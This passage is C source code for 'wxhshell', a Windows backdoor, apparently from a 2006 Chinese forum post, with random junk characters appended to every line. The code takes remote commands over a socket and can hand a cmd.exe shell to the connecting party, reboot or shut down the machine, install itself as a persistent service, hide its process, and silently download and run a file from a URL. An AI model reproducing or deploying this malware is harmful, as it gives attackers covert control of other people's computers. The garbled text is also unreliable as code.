?,%N?  
    switch(cmd[0]) { HYg _{  
  > %Y#(_~a  
  // 帮助 q0c)pxD%`  
  case '?': { uwQ4RYz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,MvvW{EY  
    break; MPL2#YU/a  
  } 1}ToR=  
  // 安装 \'p7,F{:>5  
  case 'i': { W}=2?vHV=  
    if(Install()) EvECA,!i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y4?>5{`W  
    else R,^FJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n--`zx-['  
    break; RgRcW5VxK  
    } 0?`#ko7~d  
  // 卸载 z.H`a+cl  
  case 'r': { w^p2XlQ<  
    if(Uninstall()) }Ql;%7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ahwu'mgnC  
    else Tf[ ]vqa`G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A6U6SvM;  
    break; ]g)%yuox9F  
    } ovfw_  
  // 显示 wxhshell 所在路径 \@F{Q-  
  case 'p': { X|q0m3jt  
    char svExeFile[MAX_PATH]; |ITg-t  
    strcpy(svExeFile,"\n\r"); U NAuF8>K  
      strcat(svExeFile,ExeFile); ?t%5/  
        send(wsh,svExeFile,strlen(svExeFile),0); <kM%z{p  
    break; EwOTG Y{0p  
    } {MEU|9@ Y  
  // 重启 d[Fsp7U}  
  case 'b': { 'V>+G>U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d z\b]H]  
    if(Boot(REBOOT)) 2'}2r ~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =VSieh  
    else { s3knh&'zb  
    closesocket(wsh); i*; V4zh  
    ExitThread(0); dJ;;l7":~  
    } 1%:A9%O)t  
    break; gSv<.fD"  
    } $N ]P#g?Q  
  // 关机 W ][IHy<   
  case 'd': { p,0 \NUC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9"aTF,'F/  
    if(Boot(SHUTDOWN)) v m$v[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zld>o3K}  
    else { 2>r.[  
    closesocket(wsh); @6Mo_4)O  
    ExitThread(0); r\1*N.O3|O  
    } TDseWdA  
    break; %B?5l^W@  
    } z>&D~0  
  // 获取shell d+w<y~\ q  
  case 's': { u,]yd*  
    CmdShell(wsh); df)1} /*L  
    closesocket(wsh); g bh:Y}_FU  
    ExitThread(0); EtcamI*`  
    break; ~iSW^mi  
  } axl?t|~I  
  // 退出 +Q9HsfX/  
  case 'x': { 2U+&F'&Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [/kO >  
    CloseIt(wsh); 3_>1j  
    break; 7/yd@#$X  
    } sd6Wmmo  
  // 离开 #}Cwn$  
  case 'q': { 0t&H1xsxX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sg y  
    closesocket(wsh); kO#`m ]  
    WSACleanup(); )}aF=%  
    exit(1); 4~/6d9f  
    break; h ^c'L=dR  
        } Qi}LV"&L  
  } ][mc^eI0s|  
  } lyPXlt  
f:SF&t*  
  // 提示信息 }:irjeI,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |)_R bqZ  
} pWp2{G^XB  
  } r/v&tU  
+OmSR*fA0  
  return; SrtmpQ  
} izw}25SW  
g=(+oK?  
// shell模块句柄 mc=*wr$  
int CmdShell(SOCKET sock) :6 fQE#(s&  
{ vB{b/xmah  
STARTUPINFO si; ?uN(" I  
ZeroMemory(&si,sizeof(si)); )-{~7@yqZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xRUYJ=|oh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @rMW_7[y  
PROCESS_INFORMATION ProcessInfo; 9|`@czw  
char cmdline[]="cmd"; #j JcgR<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YMd&+J`  
  return 0; ?Sqm`)\>4  
} l1[IXw?  
("6W.i>  
// 自身启动模式 H-W) Tq_?-  
int StartFromService(void) yd~fC:_ ]  
{ t;]egk  
typedef struct bM-Rj1#Lo  
{ s*f.` A*)  
  DWORD ExitStatus; ihWz/qx&q  
  DWORD PebBaseAddress;  R'/wOE2  
  DWORD AffinityMask; < &2,G5XA  
  DWORD BasePriority; = 1VH5pVr}  
  ULONG UniqueProcessId; m{ fQL  
  ULONG InheritedFromUniqueProcessId; ar|[D7Xrq\  
}   PROCESS_BASIC_INFORMATION; \gkajY-?  
yh:,[<q  
PROCNTQSIP NtQueryInformationProcess; cZ>W8{G  
L'Zud,JKg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3c3Z"JV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3Y-v1.^j  
nS4S[|w"  
  HANDLE             hProcess; E2IVR]C2^  
  PROCESS_BASIC_INFORMATION pbi; q1Sm#_7  
}D+8K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zf~zYZSr  
  if(NULL == hInst ) return 0; 7 L\?  
to 6Q90(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y7OG[L/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &*aU2{,s,;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T6$<o\g'  
cloI 6%5r  
  if (!NtQueryInformationProcess) return 0; ~PnpYd<2  
EC'bgFe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0Q>|s_  
  if(!hProcess) return 0; %ZyPK,("  
29^bMau)v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3L?a4,Q"k}  
Xb* _LZAU  
  CloseHandle(hProcess); h\d($Ki  
PEEY;x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bOMP8{H,  
if(hProcess==NULL) return 0; "S`wwl  
ZPao*2xz  
HMODULE hMod; MPn>&28"|K  
char procName[255]; |:+pPh!-  
unsigned long cbNeeded; 9`xFZMd31A  
%n25Uq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r5!M;hU1j  
rVy\,#|  
  CloseHandle(hProcess); 03WRj+w  
q&Wwt qc9  
if(strstr(procName,"services")) return 1; // 以服务启动 !h>$bm  
p,\bez  
  return 0; // 注册表启动 {K4t8T]  
} j#P4Le[t  
tcEf ~|3  
// 主模块 lO> 7`2x=F  
int StartWxhshell(LPSTR lpCmdLine) HF+fk*_Q  
{ ' u};z:t  
  SOCKET wsl; Az9J{)  
BOOL val=TRUE; &6=ZT:.6Te  
  int port=0; #0^3Wm`X;  
  struct sockaddr_in door; b^DV9mO4J  
8'"/gC{  
  if(wscfg.ws_autoins) Install(); %@93^q[\2  
-#;VFSz,9*  
port=atoi(lpCmdLine); Uv`v|S:+2  
j jT 2k  
if(port<=0) port=wscfg.ws_port; 9~'Ip7X,!  
0C+y q'D~[  
  WSADATA data; 3dDQz#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t0H=NUP8  
irb.F>(x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u6I0<i_KZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :YXQ9/iRr  
  door.sin_family = AF_INET; Qfu*F}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2G5!u)  
  door.sin_port = htons(port); .N5R?fmD  
"rDzrz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'Oy5G7^R  
closesocket(wsl); {R!TUQ5  
return 1; 8tRh V2  
} +Y9D!=_lj  
eKpxskbhZ  
  if(listen(wsl,2) == INVALID_SOCKET) { _<F@(M5  
closesocket(wsl); ?Wz(f{Hm  
return 1; k=~pA iRDN  
} 9hLmrYNM1  
  Wxhshell(wsl); RyQ\5^z  
  WSACleanup(); gc:p@<  
PSqtZN  
return 0;  ~uZLe\>K  
VfC[U)w*vm  
} nBIv{  
$CwTNm?  
// 以NT服务方式启动 d>b,aj(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NT9- j#V  
{ |XA aKZA  
DWORD   status = 0; t2%@py*bU  
  DWORD   specificError = 0xfffffff; 2X;0z$  
y#Za|nt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &T/q0bwd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^_S-s\DW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UNcJ=   
  serviceStatus.dwWin32ExitCode     = 0; ,iv%^C",)  
  serviceStatus.dwServiceSpecificExitCode = 0; 2\CkX  
  serviceStatus.dwCheckPoint       = 0; ]G o~]7(5|  
  serviceStatus.dwWaitHint       = 0; l)rvh#D  
awSS..g}L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a0/n13c?G  
  if (hServiceStatusHandle==0) return; 3G/ mB  
Hs`#{W{.  
status = GetLastError(); !_z<W~t"  
  if (status!=NO_ERROR) /Zeg\}/4[  
{ zmfRZ!Eh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `_g?y)  
    serviceStatus.dwCheckPoint       = 0; J%-lw{FC  
    serviceStatus.dwWaitHint       = 0; vH?+JN"A  
    serviceStatus.dwWin32ExitCode     = status; pT;-1c%:  
    serviceStatus.dwServiceSpecificExitCode = specificError; c>WpOZ,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'UXj\vJ3E  
    return; -G<2R"Q#N  
  } B/9<b{6  
JXRf4QmG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (zw=qbS&  
  serviceStatus.dwCheckPoint       = 0; "G-0iKW;  
  serviceStatus.dwWaitHint       = 0; -2jBs-z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )4F/T,{;m  
} ]T3BDgu%&  
A]O5+" mc  
// 处理NT服务事件,比如:启动、停止 Yx}"> ;\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?(NT!es  
{ L3=YlX`UL  
switch(fdwControl) <&Y}j&(  
{ >gZk 581/  
case SERVICE_CONTROL_STOP: gC_s\WU  
  serviceStatus.dwWin32ExitCode = 0; )<x;ra^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X?v ^>mA  
  serviceStatus.dwCheckPoint   = 0; 5)>ZO)F&  
  serviceStatus.dwWaitHint     = 0; qnk,E-  
  { 7ru9dg1?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZaUcP6[h  
  } D_19sN@0m  
  return; N}x/&e  
case SERVICE_CONTROL_PAUSE: kG;eOp16R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^2;(2s  
  break; pW3)Y5/D  
case SERVICE_CONTROL_CONTINUE: #SihedWi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1l|A[ G  
  break; w(e+o.:  
case SERVICE_CONTROL_INTERROGATE: K@j^gF/0B  
  break; L4/TI(MP  
}; F3Ak'h{Ay  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :U-US|)(2  
} ^;CR0.4  
jY#(A23  
// 标准应用程序主函数 )*TW\v`B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kTi PZZI  
{ ++Ys9Y)*,  
4<3?al&  
// 获取操作系统版本 i^s`6:rNu  
OsIsNt=GetOsVer(); /,uSCITD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]g8i>,G  
;(Ajf.i  
  // 从命令行安装 `3sy>GU?  
  if(strpbrk(lpCmdLine,"iI")) Install(); [nN\{"~O  
\Sq"3_m4T  
  // 下载执行文件 r_V2 J{B  
if(wscfg.ws_downexe) { EYJi6#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JW%/^'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 94'k 7_q  
} )S wG+k,  
V$Xl^#tN  
if(!OsIsNt) { /:Z~"Q*r  
// 如果时win9x,隐藏进程并且设置为注册表启动 _8NEwwhc  
HideProc(); ;1R?9JN"  
StartWxhshell(lpCmdLine); FUzMc1zy|  
} 6Bq~\b^  
else l#5~ t|\  
  if(StartFromService()) B::4Qme  
  // 以服务方式启动 )ZgER[  
  StartServiceCtrlDispatcher(DispatchTable); x8pbO[_|  
else S`W'G&bCj  
  // 普通方式启动 a$xeiy9  
  StartWxhshell(lpCmdLine); J2oWssw"  
dY4k9p8  
return 0; iBtjd`V*  
}
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只看该作者 1 发表于: 2006-10-10
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